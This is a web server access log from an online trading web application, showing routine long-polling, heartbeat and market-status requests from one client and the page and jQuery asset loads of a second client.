[09/Jan/2026:08:38:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:38:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919365310 HTTP/1.1" -
[09/Jan/2026:08:38:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919371314 HTTP/1.1" -
[09/Jan/2026:08:38:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919377304 HTTP/1.1" -
[09/Jan/2026:08:38:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919383301 HTTP/1.1" -
[09/Jan/2026:08:38:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919389302 HTTP/1.1" -
[09/Jan/2026:08:38:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919395304 HTTP/1.1" -
[09/Jan/2026:08:38:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919401314 HTTP/1.1" -
[09/Jan/2026:08:38:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919407313 HTTP/1.1" -
[09/Jan/2026:08:39:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919413301 HTTP/1.1" -
[09/Jan/2026:08:39:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919419301 HTTP/1.1" -
[09/Jan/2026:08:39:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:39:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:39:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:39:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:39:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919425314 HTTP/1.1" -
[09/Jan/2026:08:39:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919431775 HTTP/1.1" -
[09/Jan/2026:08:39:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919437309 HTTP/1.1" -
[09/Jan/2026:08:39:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919443303 HTTP/1.1" -
[09/Jan/2026:08:39:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919449314 HTTP/1.1" -
[09/Jan/2026:08:39:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:39:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:39:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:39:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:39:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919455306 HTTP/1.1" -
[09/Jan/2026:08:39:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919461304 HTTP/1.1" -
[09/Jan/2026:08:39:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919467316 HTTP/1.1" -
[09/Jan/2026:08:40:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919473303 HTTP/1.1" -
[09/Jan/2026:08:40:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919479306 HTTP/1.1" -
[09/Jan/2026:08:40:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919485301 HTTP/1.1" -
[09/Jan/2026:08:40:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919491306 HTTP/1.1" -
[09/Jan/2026:08:40:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919497303 HTTP/1.1" -
[09/Jan/2026:08:40:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919503313 HTTP/1.1" -
[09/Jan/2026:08:40:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919509303 HTTP/1.1" -
[09/Jan/2026:08:40:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919515314 HTTP/1.1" -
[09/Jan/2026:08:40:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919521310 HTTP/1.1" -
[09/Jan/2026:08:40:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919527315 HTTP/1.1" -
[09/Jan/2026:08:41:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919533306 HTTP/1.1" -
[09/Jan/2026:08:41:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919539558 HTTP/1.1" -
[09/Jan/2026:08:41:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:41:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:41:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:41:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:41:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919545305 HTTP/1.1" -
[09/Jan/2026:08:41:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919551313 HTTP/1.1" -
[09/Jan/2026:08:41:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919557312 HTTP/1.1" -
[09/Jan/2026:08:41:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919563303 HTTP/1.1" -
[09/Jan/2026:08:41:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919569311 HTTP/1.1" -
[09/Jan/2026:08:41:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919575302 HTTP/1.1" -
[09/Jan/2026:08:41:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919581307 HTTP/1.1" -
[09/Jan/2026:08:41:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919587302 HTTP/1.1" -
[09/Jan/2026:08:42:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919593302 HTTP/1.1" -
[09/Jan/2026:08:42:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919599309 HTTP/1.1" -
[09/Jan/2026:08:42:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:42:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:42:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:42:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:42:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919605301 HTTP/1.1" -
[09/Jan/2026:08:42:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919611309 HTTP/1.1" -
[09/Jan/2026:08:42:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919617305 HTTP/1.1" -
[09/Jan/2026:08:42:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919623315 HTTP/1.1" -
[09/Jan/2026:08:42:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919629307 HTTP/1.1" -
[09/Jan/2026:08:42:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919635305 HTTP/1.1" -
[09/Jan/2026:08:42:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919641305 HTTP/1.1" -
[09/Jan/2026:08:42:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919647302 HTTP/1.1" -
[09/Jan/2026:08:43:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919653309 HTTP/1.1" -
[09/Jan/2026:08:43:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919659311 HTTP/1.1" -
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:08:43:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:08:43:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:08:43:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:08:43:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
